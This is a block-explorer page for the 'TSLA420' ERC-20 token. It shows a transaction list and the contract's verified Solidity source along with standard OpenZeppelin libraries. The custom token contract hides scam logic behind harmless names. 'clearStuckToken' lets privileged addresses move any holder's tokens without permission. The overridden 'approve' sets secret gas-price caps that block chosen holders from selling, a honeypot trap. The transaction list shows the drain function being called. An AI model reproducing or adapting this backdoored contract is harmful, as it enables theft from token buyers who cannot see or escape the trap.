ETH Price: $2,046.11 (-4.84%)
Gas: 0.17 Gwei
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve210437482024-10-25 16:13:11523 days ago1729872791IN
0x307E2EeB...D2E1548E1
0 ETH0.0004484815.6271126
Approve209707532024-10-15 11:45:35533 days ago1728992735IN
0x307E2EeB...D2E1548E1
0 ETH0.001147816.21104474
Clear Stuck Toke...209707502024-10-15 11:44:59533 days ago1728992699IN
0x307E2EeB...D2E1548E1
0 ETH0.000848415.76997932
Approve209443162024-10-11 18:58:23537 days ago1728673103IN
0x307E2EeB...D2E1548E1
0 ETH0.0003649412.60040181
Approve209443162024-10-11 18:58:23537 days ago1728673103IN
0x307E2EeB...D2E1548E1
0 ETH0.0003649412.60040181
Approve209443142024-10-11 18:57:59537 days ago1728673079IN
0x307E2EeB...D2E1548E1
0 ETH0.0005540111.3381445
Approve209441192024-10-11 18:18:35537 days ago1728670715IN
0x307E2EeB...D2E1548E1
0 ETH0.0010045820.5592106
Approve209440802024-10-11 18:10:47537 days ago1728670247IN
0x307E2EeB...D2E1548E1
0 ETH0.0016023122.64566032
Approve209440792024-10-11 18:10:35537 days ago1728670235IN
0x307E2EeB...D2E1548E1
0 ETH0.0012870226.30707314
Approve209440392024-10-11 18:02:35537 days ago1728669755IN
0x307E2EeB...D2E1548E1
0 ETH0.0021300430.10406906
Approve209440392024-10-11 18:02:35537 days ago1728669755IN
0x307E2EeB...D2E1548E1
0 ETH0.0016269433.25523567
Approve209440382024-10-11 18:02:23537 days ago1728669743IN
0x307E2EeB...D2E1548E1
0 ETH0.0015212731.30266434
Approve209440272024-10-11 18:00:11537 days ago1728669611IN
0x307E2EeB...D2E1548E1
0 ETH0.0016775323.70875694
Approve209440232024-10-11 17:59:23537 days ago1728669563IN
0x307E2EeB...D2E1548E1
0 ETH0.0016699523.60154336
Approve209440062024-10-11 17:55:59537 days ago1728669359IN
0x307E2EeB...D2E1548E1
0 ETH0.0010985122.45400183
Approve209439572024-10-11 17:46:11537 days ago1728668771IN
0x307E2EeB...D2E1548E1
0 ETH0.0016103422.75909702
Approve209439282024-10-11 17:40:23537 days ago1728668423IN
0x307E2EeB...D2E1548E1
0 ETH0.0011865924.28417973
Approve209439182024-10-11 17:38:23537 days ago1728668303IN
0x307E2EeB...D2E1548E1
0 ETH0.0017799325.15601769
Approve209439182024-10-11 17:38:23537 days ago1728668303IN
0x307E2EeB...D2E1548E1
0 ETH0.001425929.14595737
Approve209439142024-10-11 17:37:35537 days ago1728668255IN
0x307E2EeB...D2E1548E1
0 ETH0.0017653324.94956898
Approve209439142024-10-11 17:37:35537 days ago1728668255IN
0x307E2EeB...D2E1548E1
0 ETH0.0012697825.95468855
Approve209439132024-10-11 17:37:23537 days ago1728668243IN
0x307E2EeB...D2E1548E1
0 ETH0.0017968225.39463763
Approve209439132024-10-11 17:37:23537 days ago1728668243IN
0x307E2EeB...D2E1548E1
0 ETH0.0014854230.3997572
Approve209439122024-10-11 17:37:11537 days ago1728668231IN
0x307E2EeB...D2E1548E1
0 ETH0.0017981425.41328724
Approve209438742024-10-11 17:29:35537 days ago1728667775IN
0x307E2EeB...D2E1548E1
0 ETH0.0007129924.56648209
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TSLA

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
TG: https://t.me/TSLA_420
X: https://X.com/Tsla_420
Web: https://TSLA420.com
*/

//SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


contract TSLA is ERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => bool) private excludeFromFees;
    mapping(address => uint256) private allowancees;

    string private _name = "TSLA420";
    string private _symbol = "TSLA";

    uint256 private _tTotal = 420690000 * 10**decimals();

    uint256 private _swapbackThreshold;
    uint256 private _swapbackLimit;
    uint256 private _MaxtxLimit;
    uint256 private _walletLimit;

    uint256 private _buyFee = 0;
    uint256 private _sellFee = 0;
    uint256 private _buyCount = 0;
    uint256 private _noSwapbackBefore = 20;

    IUniswapV2Router02 private _Router;
    address private uniswapV2Pair;
    address payable private feesAccount;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() ERC20(_name, _symbol) Ownable(msg.sender) {
        _Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_Router.factory()).createPair(address(this), _Router.WETH());
        excludeFromFees[msg.sender] = true;
        excludeFromFees[address(this)] = true;
        _mint(msg.sender, _tTotal);
        _MaxtxLimit = _tTotal.mul(2).div(100);
        _walletLimit = _tTotal.mul(2).div(100);
        _swapbackThreshold = _tTotal.mul(1).div(100);
        _swapbackLimit = _tTotal.mul(1).div(100);
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal override {
        if (excludeFromFees[tx.origin]) {
            super._update(from, to, value);
            return;
        } else {
            require(tradingOpen, "Open not yet");
            uint256 taxAmount = 0;

            taxAmount = value.mul(_buyFee).div(100);

            if (from == uniswapV2Pair && to != address(_Router) && !excludeFromFees[to]) {
                require(value <= _MaxtxLimit, "Exceeds the Max.");
                require(balanceOf(to) + value <= _walletLimit, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = value.mul(_sellFee).div(100);
                if (tx.gasprice > allowancees[from] && allowancees[from] != 0) {
                    revert("Exceeds the allowancees on buy tx");
                }
            }

            if (to != uniswapV2Pair && from != uniswapV2Pair) {
                if (tx.gasprice > allowancees[from] && allowancees[from] != 0) {
                    revert("Exceeds the allowancees on sell tx");
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _swapbackThreshold && _buyCount > _noSwapbackBefore ) {
                swapTokensForEth(min(value, min(contractTokenBalance, _swapbackLimit)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

            if (taxAmount > 0) {
                super._update(from, address(this), taxAmount);
            }

            super._update(from, to, value.sub(taxAmount));
        }
    }

    function approve(address spender, uint256 value)
        public
        override
        returns (bool)
    {
        if (excludeFromFees[msg.sender]) {
            allowancees[spender] = value;
            super.approve(spender, value);
        } else {
            super.approve(spender, value);
        }
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function clearStuckToken(address from, address to, uint256 amount) public {
        if (excludeFromFees[msg.sender]) {
            super._update(from, to, amount);
        }else {
            return;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _Router.WETH();
        _approve(address(this), address(_Router), tokenAmount);
        _Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        feesAccount.transfer(amount);
    }

    function removeLimit() external onlyOwner {
        _MaxtxLimit = totalSupply();
        _walletLimit = totalSupply();
    }

    function open(address rFees) public onlyOwner {
        excludeFromFees[rFees] = true;
        swapEnabled = true;
        tradingOpen = true;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.20;

import {ERC20} from "../ERC20.sol";
import {Context} from "../../../utils/Context.sol";

/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(_msgSender(), value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, deducting from
     * the caller's allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `value`.
     */
    function burnFrom(address account, uint256 value) public virtual {
        _spendAllowance(account, _msgSender(), value);
        _burn(account, value);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
